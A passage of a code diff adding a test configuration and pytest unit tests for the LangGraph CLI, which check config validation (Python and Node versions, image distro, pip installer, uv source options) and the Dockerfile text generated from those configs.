@@ -0,0 +1,19 @@
+{
+    "python_version": "3.12",
+    "pip_config_file": "pipconfig.txt",
+    "dockerfile_lines": [
+        "ARG meow=woof"
+    ],
+    "dependencies": [
+        "langchain_openai",
+        "starlette",
+        "."
+    ],
+    "graphs": {
+        "agent": "graphs/agent.py:graph"
+    },
+    "env": ".env",
+    "http": {
+        "app": "../../examples/my_app.py:app" 
+    }
+}
diff --git a/libs/cli/tests/unit_tests/test_config.py b/libs/cli/tests/unit_tests/test_config.py
new file mode 100644
index 0000000..c8b2402
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_config.py
@@ -0,0 +1,3426 @@
+import copy
+import json
+import os
+import pathlib
+import tempfile
+import textwrap
+from unittest.mock import patch
+
+import click
+import pytest
+
+from langgraph_cli.config import (
+    _BUILD_TOOLS,
+    _get_pip_cleanup_lines,
+    config_to_compose,
+    config_to_docker,
+    default_base_image,
+    docker_tag,
+    has_disallowed_build_command_content,
+    validate_config,
+    validate_config_file,
+)
+from langgraph_cli.util import clean_empty_lines
+
+FORMATTED_CLEANUP_LINES = _get_pip_cleanup_lines(
+    install_cmd="uv pip install --system",
+    to_uninstall=("pip", "setuptools", "wheel"),
+    pip_installer="uv",
+)
+
+PATH_TO_CONFIG = pathlib.Path(__file__).parent / "test_config.json"
+
+
+def _write_uv_lock_workspace(
+    tmpdir_path: pathlib.Path,
+    *,
+    config_relative_dir: str = "apps/agent",
+    root_sources: str = "",
+    agent_sources: str = "",
+    shared_uv_config: str = "",
+    agent_dependencies: list[str] | None = None,
+) -> tuple[pathlib.Path, pathlib.Path]:
+    project_root = tmpdir_path / "workspace"
+    config_dir = project_root / config_relative_dir
+    shared_dir = project_root / "libs" / "shared"
+    extra_dir = project_root / "libs" / "extra"
+    deploy_dir = project_root / "deploy" / "agent"
+
+    config_dir.mkdir(parents=True)
+    shared_dir.mkdir(parents=True)
+    extra_dir.mkdir(parents=True)
+    deploy_dir.mkdir(parents=True)
+
+    (project_root / "uv.lock").write_text("# uv lock file\n")
+    (project_root / "pyproject.toml").write_text(
+        textwrap.dedent(
+            f"""
+            [project]
+            name = "workspace-root"
+            version = "0.1.0"
+
+            [tool.uv.workspace]
+            members = ["apps/*", "libs/*"]
+
+            {root_sources}
+
+            [build-system]
+            requires = ["setuptools>=61"]
+            build-backend = "setuptools.build_meta"
+            """
+        ).strip()
+        + "\n"
+    )
+
+    (config_dir / "pyproject.toml").write_text(
+        textwrap.dedent(
+            f"""
+            [project]
+            name = "agent"
+            version = "0.1.0"
+            dependencies = {agent_dependencies or ["shared", "httpx>=0.28"]}
+
+            {agent_sources}
+
+            [build-system]
+            requires = ["setuptools>=61"]
+            build-backend = "setuptools.build_meta"
+            """
+        ).strip()
+        + "\n"
+    )
+    (shared_dir / "pyproject.toml").write_text(
+        textwrap.dedent(
+            f"""
+            [project]
+            name = "shared"
+            version = "0.1.0"
+            dependencies = ["anyio>=4"]
+
+            {shared_uv_config}
+
+            [build-system]
+            requires = ["setuptools>=61"]
+            build-backend = "setuptools.build_meta"
+            """
+        ).strip()
+        + "\n"
+    )
+    (extra_dir / "pyproject.toml").write_text(
+        textwrap.dedent(
+            """
+            [project]
+            name = "extra"
+            version = "0.1.0"
+
+            [build-system]
+            requires = ["setuptools>=61"]
+            build-backend = "setuptools.build_meta"
+            """
+        ).strip()
+        + "\n"
+    )
+
+    (config_dir / "src" / "agent").mkdir(parents=True)
+    (config_dir / "src" / "agent" / "graph.py").touch()
+    (shared_dir / "src" / "shared").mkdir(parents=True)
+    (shared_dir / "src" / "shared" / "auth.py").touch()
+    (extra_dir / "src" / "extra").mkdir(parents=True)
+    (extra_dir / "src" / "extra" / "graph.py").touch()
+
+    config_path = deploy_dir / "langgraph.json"
+    config_path.touch()
+    return project_root, config_path
+
+
+def test_validate_config():
+    # minimal config
+    expected_config = {
+        "dependencies": ["."],
+        "graphs": {
+            "agent": "./agent.py:graph",
+        },
+    }
+    actual_config = validate_config(expected_config)
+    expected_config = {
+        "base_image": None,
+        "python_version": "3.11",
+        "node_version": None,
+        "pip_config_file": None,
+        "pip_installer": "auto",
+        "source": None,
+        "image_distro": "debian",
+        "dockerfile_lines": [],
+        "env": {},
+        "store": None,
+        "auth": None,
+        "encryption": None,
+        "webhooks": None,
+        "checkpointer": None,
+        "http": None,
+        "ui": None,
+        "ui_config": None,
+        "keep_pkg_tools": None,
+        **expected_config,
+    }
+    assert actual_config == expected_config
+
+    # full config
+    env = ".env"
+    expected_config = {
+        "base_image": None,
+        "python_version": "3.12",
+        "node_version": None,
+        "pip_config_file": "pipconfig.txt",
+        "pip_installer": "auto",
+        "source": None,
+        "image_distro": "debian",
+        "dockerfile_lines": ["ARG meow"],
+        "dependencies": [".", "langchain"],
+        "graphs": {
+            "agent": "./agent.py:graph",
+        },
+        "env": env,
+        "store": None,
+        "auth": None,
+        "encryption": None,
+        "webhooks": None,
+        "checkpointer": None,
+        "http": None,
+        "ui": None,
+        "ui_config": None,
+        "keep_pkg_tools": None,
+    }
+    actual_config = validate_config(expected_config)
+    assert actual_config == expected_config
+    expected_config["python_version"] = "3.13"
+    actual_config = validate_config(expected_config)
+    assert actual_config == expected_config
+
+    # check wrong python version raises
+    with pytest.raises(click.UsageError):
+        validate_config({"python_version": "3.9"})
+
+    # check missing dependencies key raises
+    with pytest.raises(click.UsageError):
+        validate_config(
+            {"python_version": "3.9", "graphs": {"agent": "./agent.py:graph"}}
+        )
+
+    # check missing graphs key raises
+    with pytest.raises(click.UsageError):
+        validate_config({"python_version": "3.9", "dependencies": ["."]})
+
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config({"python_version": "3.11.0"})
+    assert "Invalid Python version format" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config({"python_version": "3"})
+    assert "Invalid Python version format" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config({"python_version": "abc.def"})
+    assert "Invalid Python version format" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config({"python_version": "3.10"})
+    assert "Minimum required version" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError, match="Bullseye images were deprecated"):
+        validate_config(
+            {
+                "python_version": "3.11-bullseye",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+            }
+        )
+
+    config = validate_config(
+        {
+            "python_version": "3.12-slim",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    assert config["python_version"] == "3.12-slim"
+    with pytest.raises(ValueError, match="Invalid http.app format"):
+        validate_config(
+            {
+                "python_version": "3.12",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "http": {"app": "../../examples/my_app.py"},
+            }
+        )
+
+
+def test_validate_config_image_distro():
+    """Test validation of image_distro field."""
+    # Valid image_distro values should work
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "debian",
+        }
+    )
+    assert config["image_distro"] == "debian"
+
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "wolfi",
+        }
+    )
+    assert config["image_distro"] == "wolfi"
+
+    # Missing image_distro should default to 'debian'
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    assert config["image_distro"] == "debian"
+
+    # Bullseye should raise deprecation error
+    with pytest.raises(click.UsageError, match="Bullseye images were deprecated"):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "image_distro": "bullseye",
+            }
+        )
+
+    # Invalid image_distro values should raise error
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "image_distro": "ubuntu",
+            }
+        )
+    assert "Invalid image_distro: 'ubuntu'" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "image_distro": "alpine",
+            }
+        )
+    assert "Invalid image_distro: 'alpine'" in str(exc_info.value)
+
+    # Test base Node.js config with image distro
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+            "image_distro": "wolfi",
+        }
+    )
+    assert config["image_distro"] == "wolfi"
+
+    # Test Node.js config with no distro specified
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+        }
+    )
+    assert config["image_distro"] == "debian"
+
+
+def test_validate_config_pip_installer():
+    """Test validation of pip_installer field."""
+    # Valid pip_installer values should work
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "pip_installer": "auto",
+        }
+    )
+    assert config["pip_installer"] == "auto"
+
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "pip_installer": "pip",
+        }
+    )
+    assert config["pip_installer"] == "pip"
+
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "pip_installer": "uv",
+        }
+    )
+    assert config["pip_installer"] == "uv"
+
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "graphs": {"agent": "./agent.py:graph"},
+            "source": {"kind": "uv", "root": "../.."},
+        }
+    )
+    assert config["source"] == {"kind": "uv", "root": "../.."}
+
+    # Missing pip_installer should default to "auto"
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    assert config["pip_installer"] == "auto"
+
+    # Invalid pip_installer values should raise error
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "pip_installer": "conda",
+            }
+        )
+    assert "Invalid pip_installer: 'conda'" in str(exc_info.value)
+    assert "uv-based source management" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError) as exc_info:
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "pip_installer": "invalid",
+            }
+        )
+    assert "Invalid pip_installer: 'invalid'" in str(exc_info.value)
+
+    with pytest.raises(click.UsageError, match="Invalid pip_installer: 'uv_lock'"):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./agent.py:graph"},
+                "pip_installer": "uv_lock",
+            }
+        )
+
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "graphs": {"agent": "./agent.py:graph"},
+            "source": {"kind": "uv"},
+        }
+    )
+    assert config["source"] == {"kind": "uv"}
+
+    with pytest.raises(
+        click.UsageError, match="`source.package` must be a non-empty string"
+    ):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./agent.py:graph"},
+                "source": {"kind": "uv", "package": 123},
+            }
+        )
+
+    with pytest.raises(click.UsageError, match="Remove `dependencies`"):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+
+    with pytest.raises(click.UsageError, match="requires `python_version`"):
+        validate_config(
+            {
+                "node_version": "20",
+                "graphs": {"agent": "./agent.ts:graph"},
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+
+    # Mixed Python+Node graphs are allowed (python_version auto-defaults)
+    config = validate_config(
+        {
+            "graphs": {
+                "agent": "./agent.py:graph",
+                "ui": "./agent.ts:graph",
+            },
+            "source": {"kind": "uv", "root": "../..", "package": "agent"},
+        }
+    )
+    assert config["python_version"] is not None
+
+    # node_version is allowed alongside python_version (for UI builds)
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "node_version": "20",
+            "graphs": {"agent": "./agent.py:graph"},
+            "source": {"kind": "uv", "root": "../.."},
+        }
+    )
+    assert config["node_version"] == "20"
+    assert config["source"] == {"kind": "uv", "root": "../.."}
+
+    with pytest.raises(click.UsageError, match="must be a string"):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./agent.py:graph"},
+                "source": {"kind": "uv", "root": 123},
+            }
+        )
+
+    with pytest.raises(click.UsageError, match="Invalid source.kind"):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./agent.py:graph"},
+                "source": {"kind": "poetry", "root": "../.."},
+            }
+        )
+
+    with pytest.raises(
+        click.UsageError,
+        match="Top-level `project_root` and `package` are no longer supported",
+    ):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "pip_installer": "uv",
+                "project_root": "../..",
+                "package": "agent",
+            }
+        )
+
+    with pytest.raises(
+        click.UsageError,
+        match="Top-level `project_root` and `package` are no longer supported",
+    ):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "project_root": "../..",
+            }
+        )
+
+
+def test_validate_config_file():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+
+        config_path = tmpdir_path / "langgraph.json"
+
+        node_config = {"node_version": "20", "graphs": {"agent": "./agent.js:graph"}}
+        with open(config_path, "w") as f:
+            json.dump(node_config, f)
+
+        validate_config_file(config_path)
+
+        package_json = {"name": "test", "engines": {"node": "20"}}
+        with open(tmpdir_path / "package.json", "w") as f:
+            json.dump(package_json, f)
+        validate_config_file(config_path)
+
+        package_json["engines"]["node"] = "20.18"
+        with open(tmpdir_path / "package.json", "w") as f:
+            json.dump(package_json, f)
+        with pytest.raises(click.UsageError, match="Use major version only"):
+            validate_config_file(config_path)
+
+        package_json["engines"] = {"node": "18"}
+        with open(tmpdir_path / "package.json", "w") as f:
+            json.dump(package_json, f)
+        with pytest.raises(click.UsageError, match="must be >= 20"):
+            validate_config_file(config_path)
+
+        package_json["engines"] = {"node": "20", "deno": "1.0"}
+        with open(tmpdir_path / "package.json", "w") as f:
+            json.dump(package_json, f)
+        with pytest.raises(click.UsageError, match="Only 'node' engine is supported"):
+            validate_config_file(config_path)
+
+        with open(tmpdir_path / "package.json", "w") as f:
+            f.write("{invalid json")
+        with pytest.raises(click.UsageError, match="Invalid package.json"):
+            validate_config_file(config_path)
+
+        python_config = {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+        with open(config_path, "w") as f:
+            json.dump(python_config, f)
+
+        validate_config_file(config_path)
+
+        for package_content in [
+            {"name": "test"},
+            {"engines": {"node": "18"}},
+            {"engines": {"node": "20", "deno": "1.0"}},
+            "{invalid json",
+        ]:
+            with open(tmpdir_path / "package.json", "w") as f:
+                if isinstance(package_content, dict):
+                    json.dump(package_content, f)
+                else:
+                    f.write(package_content)
+            validate_config_file(config_path)
+
+
+def test_validate_config_multiplatform():
+    # default node
+    config = validate_config(
+        {"dependencies": ["."], "graphs": {"js": "./js.mts:graph"}}
+    )
+    assert config["node_version"] == "20"
+    assert config["python_version"] is None
+
+    # default multiplatform
+    config = validate_config(
+        {
+            "node_version": "22",
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"python": "./python.py:graph", "js": "./js.mts:graph"},
+        }
+    )
+    assert config["node_version"] == "22"
+    assert config["python_version"] == "3.12"
+
+    # default multiplatform (full infer)
+    graphs = {"python": "./python.py:graph", "js": "./js.mts:graph"}
+    config = validate_config({"dependencies": ["."], "graphs": graphs})
+    assert config["node_version"] == "20"
+    assert config["python_version"] == "3.11"
+
+    # default multiplatform (partial node)
+    config = validate_config(
+        {"node_version": "22", "dependencies": ["."], "graphs": graphs}
+    )
+    assert config["node_version"] == "22"
+    assert config["python_version"] == "3.11"
+
+    # default multiplatform (partial python)
+    config = validate_config(
+        {"python_version": "3.12", "dependencies": ["."], "graphs": graphs}
+    )
+    assert config["node_version"] == "20"
+    assert config["python_version"] == "3.12"
+
+    # no known extension (assumes python)
+    config = validate_config(
+        {
+            "dependencies": ["./local", "./shared_utils"],
+            "graphs": {"agent": "local.workflow:graph"},
+            "env": ".env",
+        }
+    )
+    assert config["node_version"] is None
+    assert config["python_version"] == "3.11"
+
+
+# config_to_docker
+def test_config_to_docker_simple():
+    graphs = {"agent": "./agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": [".", "../../examples/graphs_reqs_a", "../../examples"],
+                "graphs": graphs,
+                "http": {"app": "../../examples/my_app.py:app"},
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+    expected_docker_stdin = f"""\
+# syntax=docker/dockerfile:1.4
+FROM langchain/langgraph-api:3.11
+# -- Installing local requirements --
+COPY --from=outer-requirements.txt requirements.txt /deps/outer-graphs_reqs_a/graphs_reqs_a/requirements.txt
+RUN PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -r /deps/outer-graphs_reqs_a/graphs_reqs_a/requirements.txt
+# -- End of local requirements install --
+# -- Adding local package ../../examples --
+COPY --from=examples . /deps/examples
+# -- End of local package ../../examples --
+# -- Adding non-package dependency unit_tests --
+ADD . /deps/outer-unit_tests/unit_tests
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "unit_tests"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+    done
+# -- End of non-package dependency unit_tests --
+# -- Adding non-package dependency graphs_reqs_a --
+COPY --from=outer-graphs_reqs_a . /deps/outer-graphs_reqs_a/graphs_reqs_a
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "graphs_reqs_a"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-graphs_reqs_a/pyproject.toml; \\
+    done
+# -- End of non-package dependency graphs_reqs_a --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGGRAPH_HTTP='{{"app": "/deps/examples/my_app.py:app"}}'
+ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+{FORMATTED_CLEANUP_LINES}
+WORKDIR /deps/outer-unit_tests/unit_tests\
+"""
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+
+    assert additional_contexts == {
+        "outer-graphs_reqs_a": str(
+            (pathlib.Path(__file__).parent / "../../examples/graphs_reqs_a").resolve()
+        ),
+        "examples": str((pathlib.Path(__file__).parent / "../../examples").resolve()),
+    }
+
+
+def test_config_to_docker_outside_path():
+    graphs = {"agent": "./agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": [".", ".."], "graphs": graphs}),
+        base_image="langchain/langgraph-api",
+    )
+    expected_docker_stdin = (
+        """\
+# syntax=docker/dockerfile:1.4
+FROM langchain/langgraph-api:3.11
+# -- Adding non-package dependency unit_tests --
+ADD . /deps/outer-unit_tests/unit_tests
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "unit_tests"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+    done
+# -- End of non-package dependency unit_tests --
+# -- Adding non-package dependency tests --
+COPY --from=outer-tests . /deps/outer-tests/tests
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "tests"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-tests/pyproject.toml; \\
+    done
+# -- End of non-package dependency tests --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGSERVE_GRAPHS='{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}'
+"""
+        + FORMATTED_CLEANUP_LINES
+        + """
+WORKDIR /deps/outer-unit_tests/unit_tests\
+"""
+    )
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {
+        "outer-tests": str(pathlib.Path(__file__).parent.parent.absolute()),
+    }
+
+
+def test_config_to_docker_pipconfig():
+    graphs = {"agent": "./agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": ["."],
+                "graphs": graphs,
+                "pip_config_file": "pipconfig.txt",
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+    expected_docker_stdin = (
+        """\
+FROM langchain/langgraph-api:3.11
+ADD pipconfig.txt /pipconfig.txt
+# -- Adding non-package dependency unit_tests --
+ADD . /deps/outer-unit_tests/unit_tests
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "unit_tests"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+    done
+# -- End of non-package dependency unit_tests --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PIP_CONFIG_FILE=/pipconfig.txt PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGSERVE_GRAPHS='{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}'
+"""
+        + FORMATTED_CLEANUP_LINES
+        + """
+WORKDIR /deps/outer-unit_tests/unit_tests\
+"""
+    )
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def test_config_to_docker_invalid_inputs():
+    # test missing local dependencies
+    with pytest.raises(FileNotFoundError):
+        graphs = {"agent": "tests/unit_tests/agent.py:graph"}
+        config_to_docker(
+            PATH_TO_CONFIG,
+            validate_config({"dependencies": ["./missing"], "graphs": graphs}),
+            base_image="langchain/langgraph-api",
+        )
+
+    # test missing local module
+    with pytest.raises(FileNotFoundError):
+        graphs = {"agent": "./missing_agent.py:graph"}
+        config_to_docker(
+            PATH_TO_CONFIG,
+            validate_config({"dependencies": ["."], "graphs": graphs}),
+            base_image="langchain/langgraph-api",
+        )
+
+
+def test_config_to_docker_local_deps():
+    graphs = {"agent": "./graphs/agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": ["./graphs"],
+                "graphs": graphs,
+            }
+        ),
+        base_image="langchain/langgraph-api-custom",
+    )
+    expected_docker_stdin = f"""\
+FROM langchain/langgraph-api-custom:3.11
+# -- Adding non-package dependency graphs --
+ADD ./graphs /deps/outer-graphs/src
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "graphs"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-graphs/pyproject.toml; \\
+    done
+# -- End of non-package dependency graphs --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-graphs/src/agent.py:graph"}}'
+{FORMATTED_CLEANUP_LINES}\
+"""
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def test_config_to_docker_pyproject():
+    pyproject_str = """[project]
+name = "custom"
+version = "0.1"
+dependencies = ["langchain"]"""
+    pyproject_path = "tests/unit_tests/pyproject.toml"
+    with open(pyproject_path, "w") as f:
+        f.write(pyproject_str)
+
+    graphs = {"agent": "./graphs/agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": ["."],
+                "graphs": graphs,
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+    os.remove(pyproject_path)
+    expected_docker_stdin = (
+        """FROM langchain/langgraph-api:3.11
+# -- Adding local package . --
+ADD . /deps/unit_tests
+# -- End of local package . --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGSERVE_GRAPHS='{"agent": "/deps/unit_tests/graphs/agent.py:graph"}'
+"""
+        + FORMATTED_CLEANUP_LINES
+        + "\n"
+        + "WORKDIR /deps/unit_tests"
+        ""
+    )
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def test_config_to_docker_end_to_end():
+    graphs = {"agent": "./graphs/agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "python_version": "3.12",
+                "dependencies": ["./graphs/", "langchain", "langchain_openai"],
+                "graphs": graphs,
+                "pip_config_file": "pipconfig.txt",
+                "dockerfile_lines": ["ARG meow", "ARG foo"],
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+    expected_docker_stdin = f"""FROM langchain/langgraph-api:3.12
+ARG meow
+ARG foo
+ADD pipconfig.txt /pipconfig.txt
+RUN PIP_CONFIG_FILE=/pipconfig.txt PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt langchain langchain_openai
+# -- Adding non-package dependency graphs --
+ADD ./graphs/ /deps/outer-graphs/src
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "graphs"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-graphs/pyproject.toml; \\
+    done
+# -- End of non-package dependency graphs --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PIP_CONFIG_FILE=/pipconfig.txt PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-graphs/src/agent.py:graph"}}'
+{FORMATTED_CLEANUP_LINES}"""
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+# node.js build used for LangSmith Deployment
+def test_config_to_docker_nodejs():
+    graphs = {"agent": "./graphs/agent.js:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "node_version": "20",
+                "graphs": graphs,
+                "dockerfile_lines": ["ARG meow", "ARG foo"],
+                "auth": {"path": "./graphs/auth.mts:auth"},
+                "ui": {"agent": "./graphs/agent.ui.jsx"},
+                "ui_config": {"shared": ["nuqs"]},
+            }
+        ),
+        base_image="langchain/langgraphjs-api",
+    )
+    expected_docker_stdin = """FROM langchain/langgraphjs-api:20
+ARG meow
+ARG foo
+ADD . /deps/unit_tests
+WORKDIR /deps/unit_tests
+RUN npm i
+ENV LANGGRAPH_AUTH='{"path": "./graphs/auth.mts:auth"}'
+ENV LANGGRAPH_UI='{"agent": "./graphs/agent.ui.jsx"}'
+ENV LANGGRAPH_UI_CONFIG='{"shared": ["nuqs"]}'
+ENV LANGSERVE_GRAPHS='{"agent": "./graphs/agent.js:graph"}'
+WORKDIR /deps/unit_tests
+RUN (test ! -f /api/langgraph_api/js/build.mts && echo "Prebuild script not found, skipping") || tsx /api/langgraph_api/js/build.mts"""
+
